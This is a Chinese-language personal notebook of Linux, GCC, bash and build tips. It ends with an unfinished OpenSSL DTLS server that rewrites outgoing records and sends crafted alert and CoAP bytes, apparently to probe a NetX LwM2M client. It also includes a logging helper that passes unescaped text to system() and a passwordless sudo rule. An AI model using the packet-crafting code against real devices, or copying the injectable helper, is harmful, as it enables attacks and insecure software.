进入lauchpad, 分清你的系统名称, 比如 20.04 叫 Focal Fossa, 系统当前版本:

1 2	$ uname -r 5.13.0-35-generic

那么我们在页面的以下部分会看到以下部分的内容

Active series and milestones

22.04 “Jammy” series - development
Milestones: jammy-updates, ubuntu-22.04, ubuntu-22.04-beta, ubuntu-22.03, ubuntu-22.02, ubuntu-22.04-feature-freeze, ubuntu-22.01, ubuntu-21.12, and ubuntu-21.11
21.10 “Impish” series - current
Milestones: impish-updates
20.04 “Focal” series - supported <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
Milestones: focal-updates and ubuntu-20.04.4
18.04 “Bionic” series - supported
Milestones: bionic-updates
16.04 “Xenial” series - supported
Milestones: xenial-updates
14.04 “Trusty” series - supported
Milestones: ubuntu-14.04.6
All series
All milestones

点击其中的focal series, 会出现搜索框, 我们就搜索linux-image-5.13.0-35-generic, 会得到如下几个结果:

 linux-image-5.13.0-35-generic: <<<<<<<<<<<<<<<<<<<<<<<
Signed kernel image generic
 linux-image-5.13.0-35-generic-dbgsym:
Signed kernel image generic
 linux-image-5.13.0-35-generic-lpae:
Linux kernel image for version 5.13.0 on ARM (hard float) SMP
 linux-image-5.13.0-35-generic-lpae-dbgsym:
Linux kernel debug image for version 5.13.0 on ARM (hard float) SMP
 linux-image-5.13.0-35-generic-64k:
Signed kernel image generic-64k
 linux-image-5.13.0-35-generic-64k-dbgsym:
Signed kernel image generic-64k

选择第一个, 出现如下:

Signed kernel image generic
 A kernel image for generic. This version of it is signed with
 Canonical's UEFI/Opal signing key.

Source package
linux-signed-hwe-5.13 5.13.0-35.40~20.04.1 source package in Ubuntu  <<<<<<<<<<<<<<<

Published versions
linux-image-5.13.0-35-generic 5.13.0-35.40~20.04.1 in amd64 (Updates)
linux-image-5.13.0-35-generic 5.13.0-35.40~20.04.1 in amd64 (Security)
linux-image-5.13.0-35-generic 5.13.0-35.40~20.04.1 in arm64 (Updates)
linux-image-5.13.0-35-generic 5.13.0-35.40~20.04.1 in arm64 (Security)
linux-image-5.13.0-35-generic 5.13.0-35.40~20.04.1 in armhf (Updates)
linux-image-5.13.0-35-generic 5.13.0-35.40~20.04.1 in armhf (Security)
linux-image-5.13.0-35-generic 5.13.0-35.40~20.04.1 in ppc64el (Updates)
linux-image-5.13.0-35-generic 5.13.0-35.40~20.04.1 in ppc64el (Security)
linux-image-5.13.0-35-generic 5.13.0-35.40~20.04.1 in s390x (Updates)
linux-image-5.13.0-35-generic 5.13.0-35.40~20.04.1 in s390x (Security)

此处我选Source package下的链接. 之后选择downloads里的tar.xz文件即可.

这个版本的文件里包含的是一个下载脚本, 并没有包含完整的src文件. 所以还是需要想想其它办法直接获得文件最好.

快速转换图片格式，修改分辨率

1 2	$ convert -resize 100x100 src.jpg dst.jpg $ convert -resize 50%x50% src.jpg dst.jpg

修改文件的用户

查看归属：
$ ls -l file

赋给用户hv
$ chown hv:hv file

如果需要把某个文件夹下所有都付给某个用户
$ chown hv:hv -R dir/*

使用audit记录创建的程序

audit是记录linux审计信息的内核模块。
他记录系统中的各种动作和事件，比如系统调用，文件修改，执行的程序，系统登入登出和记录所有系统中所有的事件。audit还可以将审计记录写入日志文件。

如果想记录新创建的process, 可以直接修改/etc/audit/audit.rules, 添加一行-a task,always, 之后通过cat /var/log/audit/audit.log|grep EXECVE 来筛选你想要的记录.

比如

1 2	$ auditctl -a exit,always -F arch=b64 -S execve 添加execve检测 $ auditctl -D 删除所有规则

更多可以参考linux监控工具audit

修改terminal的显示路径

1	$ vim ~/.bashrc

找到

## If this is an xterm set the title to user@host:dir
case “$TERM” in
xterm|rxvt)
PS1=”\e]0;$debianchroot:+($debianchroot)\u@\h:\w\a$PS1”

将PS1那行修改为(其实就是把w换成W)

1	PS1=”[\u@\h:\W]\\$”

添加环境变量

1	export PATH=$PATH:/home/victorv

创建terminal的快捷键

如果是在kali，terminal是没有快捷键的，到设置的keyboard里面，添加自定义快捷键，键值为

1	gnome-terminal

或者安装nautilus-open-terminal

gdb改变汇编代码显示方式

1	(gdb) set disas intel

设置反汇编代码使用的指令集，可选择 intel 指令集或 AT&T指令集.

usb驱动相关

查找usb驱动
$ sudo lspci
…
02:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168B PCI Express Gigabit Ethernet controller (rev 01)
$ find /sys | grep drivers.*02:00

获取usb设备信息
lsusb -t
cat /proc/bus/usb/devices
lshw

卸载usb驱动
tree /sys/bus/usb/drivers
echo -n “1-1:1.0” > /sys/bus/usb/drivers/ub/unbind

1	yum install kernel-devel-$(uname -r) kernel-headers-$(uname -r)

如果遇到没有搜索结果, 可以做如下操作:

查看当前版本

1 2	[root@centos~]# cat /etc/redhat-release CentOS Linux release 7.4.1708 (Core)

修改文件/etc/yum.repos.d/CentOS-Vault.repo, 添加当前版本的以下信息:

[C(Your Version Number)-base] 比如 [C5.6-base]
name=CentOS-(Your Version Number) - Base
baseurl=http://vault.centos.org/(Your Version Number)/os/$basearch/
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-5
enabled=1

[C(Your Version Number-updates]
name=CentOS-(Your Version Number) - Updates
baseurl=http://vault.centos.org/(Your Version Number)/updates/$basearch/
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-5
enabled=1

示例:
[C7.4.1708-base]
name=CentOS-7.4.1708 - Base
baseurl=https://vault.centos.org/7.4.1708/os/$basearch/
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7
enabled=1

[C7.4.1708-updates]
name=CentOS-7.4.1708 - Updates
baseurl=https://vault.centos.org/7.4.1708/updates/$basearch/
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7
enabled=1

之后再试一次install即可.

添加sudoer 并且取消密码

1 2	superuser ALL=(ALL) NOPASSWD:ALL superuser ALL=(ALL:ALL) ALL　#不取消密码

创建ssh服务

$ yum -y install openssh-server openssh-clients
$ chkconfig sshd on
$ service sshd start
$ netstat -tulpn | grep :22
$ vi /etc/sysconfig/iptables -A RH-Firewall-1-INPUT -m state –state NEW -m tcp -p tcp –dport 22 -j ACCEPT

创建ftp 服务

1
2
3

sudo yum install vsftpd
sudo service vsftpd restart
chkconfig vsftpd on

ubuntu修改内核调试启动项

1	vi /etc/default/grub

在屁股后面添加 kgdboc=ttyS1,115200

1 2	grep menu /boot/grub/grub.cfg grub-reboot ‘1>3’

第一个数字1代表第二行的submenu，第二个3代表submenu的第四个（从0开始）

挂起一个进程

ctrl+z
fg 恢复

打包、解压文件

解包使用x,打包使用c

tar.xz
解包:tar zxvf file.tar.xz 或者:xz -d file.tar.xz && tar xvf file.tar
打包:tar zcvf file.tar.xz

.tar
解包：tar xvf FileName.tar
打包：tar cvf FileName.tar DirName
（注：tar是打包，不是压缩！）
———————————————
.gz
解压1：gunzip FileName.gz
解压2：gzip -d FileName.gz
压缩：gzip FileName

.tar.gz 和 .tgz
解压：tar zxvf FileName.tar.gz
压缩：tar zcvf FileName.tar.gz DirName
———————————————
.bz2
解压1：bzip2 -d FileName.bz2
解压2：bunzip2 FileName.bz2
压缩： bzip2 -z FileName

.tar.bz2
解压：tar jxvf FileName.tar.bz2
压缩：tar jcvf FileName.tar.bz2 DirName
———————————————
.bz
解压1：bzip2 -d FileName.bz
解压2：bunzip2 FileName.bz
压缩：未知

.tar.bz
解压：tar jxvf FileName.tar.bz
压缩：未知
———————————————
.Z
解压：uncompress FileName.Z
压缩：compress FileName
.tar.Z

解压：tar Zxvf FileName.tar.Z
压缩：tar Zcvf FileName.tar.Z DirName
———————————————
.zip
解压：unzip FileName.zip
压缩：zip FileName.zip DirName
———————————————
.rar
解压：rar x FileName.rar
压缩：rar a FileName.rar DirName
———————————————
.lha
解压：lha -e FileName.lha
压缩：lha -a FileName.lha FileName
———————————————
.rpm
解包：rpm2cpio FileName.rpm | cpio -div
———————————————
.deb
解包：ar p FileName.deb data.tar.gz | tar zxf -
———————————————
.tar .tgz .tar.gz .tar.Z .tar.bz .tar.bz2 .zip .cpio .rpm .deb .slp .arj .rar .ace .lha .lzh .lzx .lzs .arc .sda .sfx .lnx .zoo .cab .kar .cpt .pit .sit .sea
解压：sEx x FileName.*
压缩：sEx a FileName.* FileName

单独重新编译一个内核模块

当我们想修改内核某个模块,又不想重新make all的时候,可以这样操作.

1	make drivers/net/ethernet/intel/e1000/e1000.ko

或者

1	make drivers/net/ethernet/intel/e1000/

gcc 汇编

.intel_syntax noprefix # intel 汇编格式
xor eax, eax

.att_syntax prefix # att汇编格式
movl %adx, %eax…

一个简单的 t.s 文件:

.intel_syntax noprefix
.global  test # 声明函数
.global g_var # 声明全局变量

.text # 以下是.text段
test:
    mov qword ptr[g_var], 12
    ret

.data # 以下是.data段
g_var: .quad 0 # 初始化变量为 0

t.c:

#include 
int test(void);
extern long g_var;
void main(void){
    test();
    printf("%d\n", g_var);
}

如果是t.cpp, 记得使用extern "C" int test(void);

编译链接:

1 2	gcc -c t.s gcc t.c t.o -o tt2

如果是编写so文件, 记得在Makefile的命令中添加-fstack-protector-all, 否则, 会有个execute stack的flag在里面, 导致dlopen失败.

编写linux驱动与汇编相关的tips

如果想给驱动内联一个汇编文件的函数, 可以如下:

Makefile:

obj-m += Anyname.o
KDIR:=/lib/modules/$(shell uname -r)/build
MAKE:=make
Anyname-objs := main.o test.o
CFLAGS_main.o := -D_FORTIFY_SOURCE=0 -O0

default:
$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules  
clean:  
$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) clean

main.c:

#include  
#include  
#include 
#include  
MODULE_LICENSE("GPL"); 

int test(void);
int test2(void);
int my_module_init(void){
  printk("module init done\n");
  printk("test:%d, %d\n", test(), test2());
  return 0;
}

void my_module_exit(void){
  printk("module exit\n");
  return;
}

module_init( my_module_init );//声明初始化函数
module_exit( my_module_exit );

test.S: 这里后缀必须是大写的S, 额外的格式参考arch/x86/net/bpf_jit.S

.intel_syntax noprefix #声明 intel 格式
.text # 声明 .text 字段
.global test # 声明函数
test:
mov rax,12
ret

.global test2 # 声明函数
test2:
mov rax, 8
ret

如果想禁止gcc编译的驱动给某个函数优化, 可以使用void __attribute__((optimize("O0"))) test(void), 这样这个函数就不会被优化了.

也可以采取如下方式:

#pragma GCC push_options
#pragma GCC optimize("O0")
void test(void){
  int i=0;
  return i+1;
}
#pragma GCC pop_options

额外的tips, 如果存在if(var&0x80000000)这样的操作, var一定不要用int类型, 要用无符号! gcc会把判断直接优化成0!!!!!!!!

gcc 内联汇编语法示例

 __asm__ ("movl %eax, %ebx\n\t"
          "movq %%rax,%%rdx\n\t" // 64bit operation
          "movl %ecx, $label(%edx,%ebx,$4)\n\t"
          "movb %ah, (%ebx)");
asm ( assembler template 
          : output operands                  /* optional */
          : input operands                   /* optional */
          : list of clobbered registers      /* optional */
          );

int a=10, b;
asm ("movl %1, %%eax; 
      movl %%eax, %0;"
     :"=r"(b)        /* output */
     :"r"(a)         /* input */
     :"%eax"         /* clobbered register */
     );

“=r”(b) 的含义, 将输出放入倒变量b里(%0 代表第一个变量, 此处第一个变量是输出里的b, 所以%0就是b, %1是 a). r代表使用任意寄存器, 如果是其它寄存器, 参考如下:

+---+--------------------+
| r |    Register(s)     |
+---+--------------------+
| a |   %eax, %ax, %al   |
| b |   %ebx, %bx, %bl   |
| c |   %ecx, %cx, %cl   |
| d |   %edx, %dx, %dl   |
| S |   %esi, %si        |
| D |   %edi, %di        |
+---+--------------------+

如果是使用内存, 用 m.

其它指示标识:

“m” : A memory operand is allowed, with any kind of address that the machine supports in general.
“o” : A memory operand is allowed, but only if the address is offsettable. ie, adding a small offset to the address gives a valid address.
“V” : A memory operand that is not offsettable. In other words, anything that would fit the m’ constraint but not the o’constraint.
“i” : An immediate integer operand (one with constant value) is allowed. This includes symbolic constants whose values will be known only at assembly time.
“n” : An immediate integer operand with a known numeric value is allowed. Many systems cannot support assembly-time constants for operands less than a word wide. Constraints for these operands should use ’n’ rather than ’i’.
“g” : Any register, memory or immediate integer operand is allowed, except for registers that are not general registers.

x86指令独有:

1. "r" : Register operand constraint, look table given above.
2. "q" : Registers a, b, c or d.
3. "I" : Constant in range 0 to 31 (for 32-bit shifts).
4. "J" : Constant in range 0 to 63 (for 64-bit shifts).
5. "K" : 0xff.
6. "L" : 0xffff.
7. "M" : 0, 1, 2, or 3 (shifts for lea instruction).
8. "N" : Constant in range 0 to 255 (for out instruction).
9. "f" : Floating point register
10. "t" : First (top of stack) floating point register
11. "u" : Second floating point register
12. "A" : Specifies the `a’ or `d’ registers. This is primarily useful for 64-bit integer values intended to be returned with the `d’ register holding the most significant bits and the `a’ register holding the least significant bits.

特殊符合含义:

“=“ : 将结果写入到指定位置
“&“ : Means that this operand is an earlyclobber operand, which is modified before the instruction is finished using the input operands. Therefore, this operand may not lie in a register that is used as an input operand or as part of any memory address. An input operand can be tied to an earlyclobber operand if its only use as an input occurs before the early result is written.

示例:

static inline char * strcpy(char * dest,const char *src)
{
int d0, d1, d2;
__asm__ __volatile__(  "1:\tlodsb\n\t"
                       "stosb\n\t"
                       "testb %%al,%%al\n\t"
                       "jne 1b"
                     : "=&S" (d0), "=&D" (d1), "=&a" (d2)
                     : "0" (src),"1" (dest) 
                     : "memory");
return dest;
}

当我们不希望编译器优化掉我们的某些特殊循环判断时:

asm ("l1:\tmovb (%0), %%al\n\t"
  "cmp $0xcc, %%al\n\t"
  "je l1"
  ::"r"(&buffer[0x7f]));

禁用gcc的某个函数优化

#pragma GCC push_options
#pragma GCC optimize("O0")
void test(int a);
  return a;
}
#pragma GCC pop_options

更多参考GCC-Inline-Assembly-HOWTO

log至文件中

有时候看不到printf, 需要log到文件里, 就经常需要查阅怎么写, 比较烦人. 记录一下.

#include 
#include 
#include 
#include 
#include 
#include 
#include 
int sl(char* str){
    int len = 0;
    while(*str++){
        len++;
    }
    return len;
}

void log2file(char *fmt, ...){
    va_list args;
    va_start(args, fmt);
    char str[0x200];
    // 请自己确保log的内容不超过0x200.
    vsprintf(str, fmt, args);
    va_end(args);
    int fd;
    fd = open("/tmp/mylog.log", O_CREAT|O_WRONLY|O_APPEND, 0777);
    if(fd == -1){
        printf("create fail\n");
        fd = open("/tmp/mylog.log", O_WRONLY|O_APPEND, 0777);
        if(fd==-1) {
            char str2[0x200];
            sprintf(str2, "echo \"%s\"> /tmp/mylog.log", str);
            system(str2);
            return;
        }
    }
    printf("write\n");
    write(fd, str, sl(str));
    close(fd);
}
void main(){
    log2file("hello:%x\n", 0x111231);
}

centos7 代理yum

1
2
3

yum install epel-release -y
rpm -ivh https://mirrors.aliyun.com/epel/epel-release-latest-7.noarch.rpm
yum install -y proxychains-ng

修改配置vi /etc/proxychains.conf:

[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5  192.168.150.1 7890

代理yum

1	$> proxychains4 yum install bpftrace

Centos6 国内源

因为centos6.x停止维护了, 所以要找个能用的源很麻烦, 偶尔要设置又容易忘了, 在此记录一下

下载

1	wget -O /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-vault-6.10.repo

编辑/etc/yum.repos.d/CentOS-Base.repo, 在vim里更改版本 :%s/6.10/6.8/g

# CentOS-Base.repo

[base]
name=CentOS-vault-6.10 - Base - mirrors.aliyun.com
failovermethod=priority
baseurl=http://mirrors.aliyun.com/centos-vault/6.10/os/$basearch/
        http://mirrors.aliyuncs.com/centos-vault/6.10/os/$basearch/
        http://mirrors.cloud.aliyuncs.com/centos-vault/6.10/os/$basearch/
gpgcheck=1
gpgkey=http://mirrors.aliyun.com/centos-vault/RPM-GPG-KEY-CentOS-6
 
#released updates 
[updates]
name=CentOS-vault-6.10 - Updates - mirrors.aliyun.com
failovermethod=priority
baseurl=http://mirrors.aliyun.com/centos-vault/6.10/updates/$basearch/
        http://mirrors.aliyuncs.com/centos-vault/6.10/updates/$basearch/
        http://mirrors.cloud.aliyuncs.com/centos-vault/6.10/updates/$basearch/
gpgcheck=1
gpgkey=http://mirrors.aliyun.com/centos-vault/RPM-GPG-KEY-CentOS-6
 
#additional packages that may be useful
[extras]
name=CentOS-vault-6.10 - Extras - mirrors.aliyun.com
failovermethod=priority
baseurl=http://mirrors.aliyun.com/centos-vault/6.10/extras/$basearch/
        http://mirrors.aliyuncs.com/centos-vault/6.10/extras/$basearch/
        http://mirrors.cloud.aliyuncs.com/centos-vault/6.10/extras/$basearch/
gpgcheck=1
gpgkey=http://mirrors.aliyun.com/centos-vault/RPM-GPG-KEY-CentOS-6
 
#additional packages that extend functionality of existing packages
[centosplus]
name=CentOS-vault-6.10 - Plus - mirrors.aliyun.com
failovermethod=priority
baseurl=http://mirrors.aliyun.com/centos-vault/6.10/centosplus/$basearch/
        http://mirrors.aliyuncs.com/centos-vault/6.10/centosplus/$basearch/
        http://mirrors.cloud.aliyuncs.com/centos-vault/6.10/centosplus/$basearch/
gpgcheck=1
enabled=0
gpgkey=http://mirrors.aliyun.com/centos-vault/RPM-GPG-KEY-CentOS-6
 
#contrib - packages by Centos Users
[contrib]
name=CentOS-vault-6.10 - Contrib - mirrors.aliyun.com
failovermethod=priority
baseurl=http://mirrors.aliyun.com/centos-vault/6.10/contrib/$basearch/
        http://mirrors.aliyuncs.com/centos-vault/6.10/contrib/$basearch/
        http://mirrors.cloud.aliyuncs.com/centos-vault/6.10/contrib/$basearch/
gpgcheck=1
enabled=0
gpgkey=http://mirrors.aliyun.com/centos-vault/RPM-GPG-KEY-CentOS-6

如果是centos7的, 记得还需要改RPM-GPG-KEY-CentOS-6 为 RPM-GPG-KEY-CentOS-7

接着:yum clean all, yum makecahe.

Centos 7.5更新7.9

下载centos 7.9的ISO 下载链接
把文件拷贝进去

挂载iso

1 2	$ mkdir /mnt/cdrom $ mount ./CentOS-7-x86_64-DVD-2009.iso /mnt/cdrom

更改源 /etc/yum.repo.d/CentOS-Media.repo

[c7-media]
name=CentOS Media
baseurl=file:///mnt/cdrom/
gpgcheck=1
enabled=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7

更新yum --disablerepo=* --enablerepo=c7-media update

Centos 6.x 安装python2.7

yum install openssl-devel
下载源码: python 2.7.13源码, 解压源码tar Jxf Python-2.7.13.tar.xz
./configure --prefix=/usr/local/python27 --enable-shared
make && make install, ln -s /usr/local/python27/bin/python /usr/bin/python27
echo "/usr/loca/python27/lib" >>/etc/ld.so.conf, 执行ldconfig
直接运行python27, 如果正常运行就ok.

bash 语法

引用命令行参数

直接引用

$1,$2….
如果超过9, ${10}
${1:-8} 如果不存在1位置的变量, 默认给8
${parameter:?word} 可以默认给字符串

flags

```bash
while getopts u:a:f: flag#选项后面的冒号表示该选项需要参数
do
case “${flag}” in
u) username=${OPTARG};;#参数存在$OPTARG中
a) age=${OPTARG};;
f) fullname=${OPTARG};;
esac
done
echo “Username: $username”;
echo “Age: $age”;
echo “Full Name: $fullname”;


`sh userReg-flags.sh -f 'John Smith' -a 25 -u john `

getopts,它不支持长选项。 $OPTIND 表示当前argv索引位置.

**$@**  

```bash
i=1;
for user in "$@" 
do
    echo "Username - $i: $user";
    i=$((i + 1));
done

$* ：和$@相同，但”$*“ 和 “$@”(加引号)并不同，”$*“将所有的参数解释成一个字符串，而”$@”是一个参数数组

shift operator

i=1;
j=$#;# $#是参数个数
while [ $i -le $j ] 
do
    echo "Username - $i: $1";
    i=$((i + 1));
    shift 1; #移动默认的argv的索引. 此处移1位, $1就变了
done

if

if commands; then
  commands
[elif commands; then
  commands...]
[else
  commands]
fi

Operation	Effect
[ ! EXPR ]	True if EXPR is false.
[ ( EXPR ) ]	Returns the value of EXPR. This may be used to override the normal precedence of operators.
[ EXPR1 -a EXPR2 ]	True if both EXPR1 and EXPR2 are true.
[ EXPR1 -o EXPR2 ]	True if either EXPR1 or EXPR2 is true.
[ `-a` `FILE` ]	True if `FILE` exists.
[ `-b` `FILE` ]	True if `FILE` exists and is a block-special file.
[ `-c` `FILE` ]	True if `FILE` exists and is a character-special file.
[ `-d` `FILE` ]	True if `FILE` exists and is a directory.
[ `-e` `FILE` ]	True if `FILE` exists.
[ `-f` `FILE` ]	True if `FILE` exists and is a regular file.
[ `-g` `FILE` ]	True if `FILE` exists and its SGID bit is set.
[ `-h` `FILE` ]	True if `FILE` exists and is a symbolic link.
[ `-k` `FILE` ]	True if `FILE` exists and its sticky bit is set.
[ `-p` `FILE` ]	True if `FILE` exists and is a named pipe (FIFO).
[ `-r` `FILE` ]	True if `FILE` exists and is readable.
[ `-s` `FILE` ]	True if `FILE` exists and has a size greater than zero.
[ `-t` `FD` ]	True if file descriptor `FD` is open and refers to a terminal.
[ `-u` `FILE` ]	True if `FILE` exists and its SUID (set user ID) bit is set.
[ `-w` `FILE` ]	True if `FILE` exists and is writable.
[ `-x` `FILE` ]	True if `FILE` exists and is executable.
[ `-O` `FILE` ]	True if `FILE` exists and is owned by the effective user ID.
[ `-G` `FILE` ]	True if `FILE` exists and is owned by the effective group ID.
[ `-L` `FILE` ]	True if `FILE` exists and is a symbolic link.
[ `-N` `FILE` ]	True if `FILE` exists and has been modified since it was last read.
[ `-S` `FILE` ]	True if `FILE` exists and is a socket.
[ `FILE1` `-nt` `FILE2` ]	True if `FILE1` has been changed more recently than `FILE2`, or if `FILE1` exists and `FILE2` does not.
[ `FILE1` `-ot` `FILE2` ]	True if `FILE1` is older than `FILE2`, or is `FILE2` exists and `FILE1` does not.
[ `FILE1` `-ef` `FILE2` ]	True if `FILE1` and `FILE2` refer to the same device and inode numbers.
[ `-o` OPTIONNAME ]	True if shell option “OPTIONNAME” is enabled.
`[ -z` STRING ]	True of the length if “STRING” is zero.
`[ -n` STRING ] or [ STRING ]	True if the length of “STRING” is non-zero.
[ STRING1 == STRING2 ]	True if the strings are equal. “=” may be used instead of “==” for strict POSIX compliance.
[ STRING1 != STRING2 ]	True if the strings are not equal.
[ STRING1 < STRING2 ]	True if “STRING1” sorts before “STRING2” lexicographically in the current locale.
[ STRING1 > STRING2 ]	True if “STRING1” sorts after “STRING2” lexicographically in the current locale.
[ ARG1 OP ARG2 ]	“OP” is one of `-eq`, `-ne`, `-lt`, `-le`, `-gt` or `-ge`. These arithmetic binary operators return true if “ARG1” is equal to, not equal to, less than, less than or equal to, greater than, or greater than or equal to “ARG2”, respectively. “ARG1” and “ARG2” are integers.

编译Gnutls

基于Centos7

在gntls下载libnettle 和gmplib

先编译gmplib, 安装后, export GMP_CFLAGS="-I/usr/local/include" GMP_LIBS="-L/usr/local/lib -lgmp"
编译安装nettle, ./configure --prefix=/usr --enable-static --enable-mini-gmp
export PKG_CONFIG_PATH=/usr/local/lib/pkgconfig/:/usr/local/lib/pkgconfig/ 设置pkg-config的查找路径
设置lib路径, 编辑/etc/ld.so.conf, 添加一行/usr/local/lib, 执行ldconfig -v
编译gnutls: ./configure --without-p11-kit

主要参考

编译samba最新版

在安装好gnutls后, 安装需要的组件:

$ yum install python36-dns
$ yum install python36-markdown
$ yum install perl
$ yum -y install perl-CPAN
$ yum -y install popt-devel
$ perl -MCPAN -e 'install JSON'
To install modules, you need to configure a local Perl library directory or
escalate your privileges.  CPAN can help you by bootstrapping the local::lib
module or by configuring itself to use 'sudo' (if available).  You may also
resolve this problem manually if you need to customize your setup.

What approach do you want?  (Choose 'local::lib', 'sudo' or 'manual')
 [local::lib] <<<<<<<<<<<<<<<<<<< 输入enter

Autoconfigured everything but 'urllist'.

Now you need to choose your CPAN mirror sites.  You can let me
pick mirrors for you, you can select them from a list or you
can enter them by hand.

Would you like me to automatically choose some CPAN mirror
sites for you? (This means connecting to the Internet) [yes] no <<<<<<<<<<<<<<<<<<< 输入no

Would you like to pick from the CPAN mirror list? [yes] no <<<<<<<<<<<<<<<<<<< 输入no
Now you can enter your own CPAN URLs by hand. A local CPAN mirror can be
listed using a 'file:' URL like 'file:///path/to/cpan/'

CPAN.pm needs at least one URL where it can fetch CPAN files from.

Please enter your CPAN site: [] http://mirrors.ustc.edu.cn/CPAN/ <<<<<<<<<<<<<<<<<<< 输入这个网址, 配置国内的源

上面的组件安装完成后, 就可以配置编译了:

./configure --enable-debug --prefix=/home/vv/install-smb-4.17.2 --with-shared-modules='!vfs_snapper'

Linux Ptrace的权限问题

如果想避免同用户使用ptrace调试, 可以设置prctl(PR_SET_DUMPABLE, 1LL, 0LL, 0LL, 0LL) , 参考

与之相关的还有/proc/sys/kernel/yama/ptrace_scope, 这个也影响了ptrace的使用.

OpenSSL技巧

如果想修改原始的send数据, SSL_CTX_set_msg_callback(ctx, message_cb);, 这个回调就是在send前触发.

如果想发送任意的加密数据, 可以使用ssl->method->ssl_write_bytes(ssl, SSL3_RT_ALERT, data, data_length, &written); 去发送.

dtls server示例:

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#pragma warning(disable:4996)
#define PSK_KEY "Key"
#define PSK_IDENTITY "Ide"
#pragma comment(lib,"libcrypto.lib")
#pragma comment(lib,"libssl.lib")
#pragma comment(lib,"ws2_32.lib")

struct ssl_st {
    /*
     * protocol version (one of SSL2_VERSION, SSL3_VERSION, TLS1_VERSION,
     * DTLS1_VERSION)
     */
    int version;
    /* SSLv3 */
    const SSL_METHOD* method;
};

const struct ssl_method_st // 通过逆向FireDaemon OpenSSL 3\bin\libcrypto-3-x64.dll得到的, 只针对sslv3, openssl的版本会有不同.
{
    int version;
    unsigned int flags;
    unsigned int mask;
    int(__fastcall* ssl_new)(ssl_st*);
    int(__fastcall* ssl_clear)(ssl_st*);
    void(__fastcall* ssl_free)(ssl_st*);
    int(__fastcall* ssl_accept)(ssl_st*);
    int(__fastcall* ssl_connect)(ssl_st*);
    int(__fastcall* ssl_read)(ssl_st*, void*, unsigned __int64, unsigned __int64*);
    int(__fastcall* ssl_peek)(ssl_st*, void*, unsigned __int64, unsigned __int64*);
    int(__fastcall* ssl_write)(ssl_st*, const void*, unsigned __int64, unsigned __int64*);
    int(__fastcall* ssl_shutdown)(ssl_st*);
    int(__fastcall* ssl_renegotiate)(ssl_st*);
    int(__fastcall* ssl_renegotiate_check)(ssl_st*, int);
    int(__fastcall* ssl_read_bytes)(ssl_st*, int, int*, unsigned __int8*, unsigned __int64, int, unsigned __int64*);
    int(__fastcall* ssl_write_bytes)(ssl_st*, int, const void*, unsigned __int64, unsigned __int64*);
    int(__fastcall* ssl_dispatch_alert)(ssl_st*);
};


int generate_cookie(SSL* ssl, unsigned char* cookie, unsigned int* cookie_len)
{
    /* Generate a cookie */
    int i;

    /* Seed the random number generator */
    srand(time(NULL));

    /* Generate a random cookie */
    for (i = 0; i < 16; i++)
        cookie[i] = rand() % 256;

    /* Print the cookie */
    printf("Cookie: ");
    for (i = 0; i < 16; i++)
        printf("%02X", cookie[i]);
    printf("\n");
    *cookie_len = 16;
    return 1;
}

int verify_cookie(SSL* ssl, const unsigned char* cookie, unsigned int cookie_len)
{
    /* Verify the cookie */
    /* ... */

    return 1;
}

static unsigned int psk_server_cb(SSL* ssl, const char* identity,
    unsigned char* psk, unsigned int max_psk_len)
{
    if (strcmp(identity, PSK_IDENTITY) != 0)
    {
        printf("Unknown PSK identity\n");
        return 0;
    }

    if (strlen(PSK_KEY) > max_psk_len)
    {
        printf("PSK key is too long\n");
        return 0;
    }

    memcpy(psk, PSK_KEY, strlen(PSK_KEY)+1);
    return strlen(PSK_KEY);
}

void print_memory(const void* mem, size_t len) {
    const unsigned char* p = (const unsigned char*)mem;
    for (size_t i = 0; i < len; i += 16) {
        printf("%08zx  ", i);
        for (size_t j = 0; j < 16; j++) {
            if (i + j < len) {
                printf("%02x ", p[i + j]);
            }
            else {
                printf("   ");
            }
        }
        printf(" ");
        for (size_t j = 0; j < 16; j++) {
            if (i + j < len) {
                printf("%c", isprint(p[i + j]) ? p[i + j] : '.');
            }
        }
        printf("\n");
    }
}

//void message_cb(int write_p, int version,
//    int content_type, const void* buf,
//    size_t len, SSL* ssl, void* arg) {
//    printf("-------------dump memory------------------\n");
//    print_memory(buf, len);
//    printf("-------------dump done====================\n");
//}

int g_need_change = 0;
long send_callback(BIO* bio, int cmd, const char* argp, int argi,
    long argl, long ret) {
    if (cmd == BIO_CB_WRITE) {
        if (g_need_change) {
            char* data = (char*)argp;
            *data = 21;// NX_SECURE_TLS_ALERT
        }
    }
    return ret;
}

#pragma pack(push,1)
void handle_lwm2m_protocol(SSL* ssl) {
    char* buffer = (char*)calloc(1, 0x1000);
    char* data = buffer;
    int data_length = 0;
    unsigned long long written = 0;

    data = buffer;
    *(data) = 0;// not NX_SECURE_TLS_ALERT_LEVEL_WARNING
    *(data + 1) = 1;// not NX_SECURE_TLS_ALERT_CLOSE_NOTIFY
    data_length = 2;
    
    ssl->method->ssl_write_bytes(ssl, SSL3_RT_ALERT, data, data_length, &written);
    
    //SSL_read(ssl, buffer, 0x1000);
    Sleep(1000);

    struct coap_header {
        char token_length : 4;
        char type : 4;
        char code;
        short id;// ´ó¶ËÐò

    } *header;
    header = (struct coap_header *)buffer;
    header->type = 4;// NX_LWM2M_CLIENT_COAP_VERSION_1
    header->code = 2; // NX_LWM2M_CLIENT_COAP_REQUEST_POST

    // ±ä³¤µÄ½á¹¹Ìå coap option header
    data = buffer + 4;
    *(unsigned char*)data = (11<<4)|(2);// 11:NX_LWM2M_CLIENT_COAP_OPTION_URI_PATH, 2 for value length
    *(data + 1) = 'b';
    *(data + 2) = 's';
    *(unsigned char*)(data+3) = 0xff;// 0xff:NX_LWM2M_CLIENT_COAP_PAYLOAD_MARKER, for NX_LWM2M_CLIENT_COAP_OPTION_NONE;
    data_length = 4 + 4;
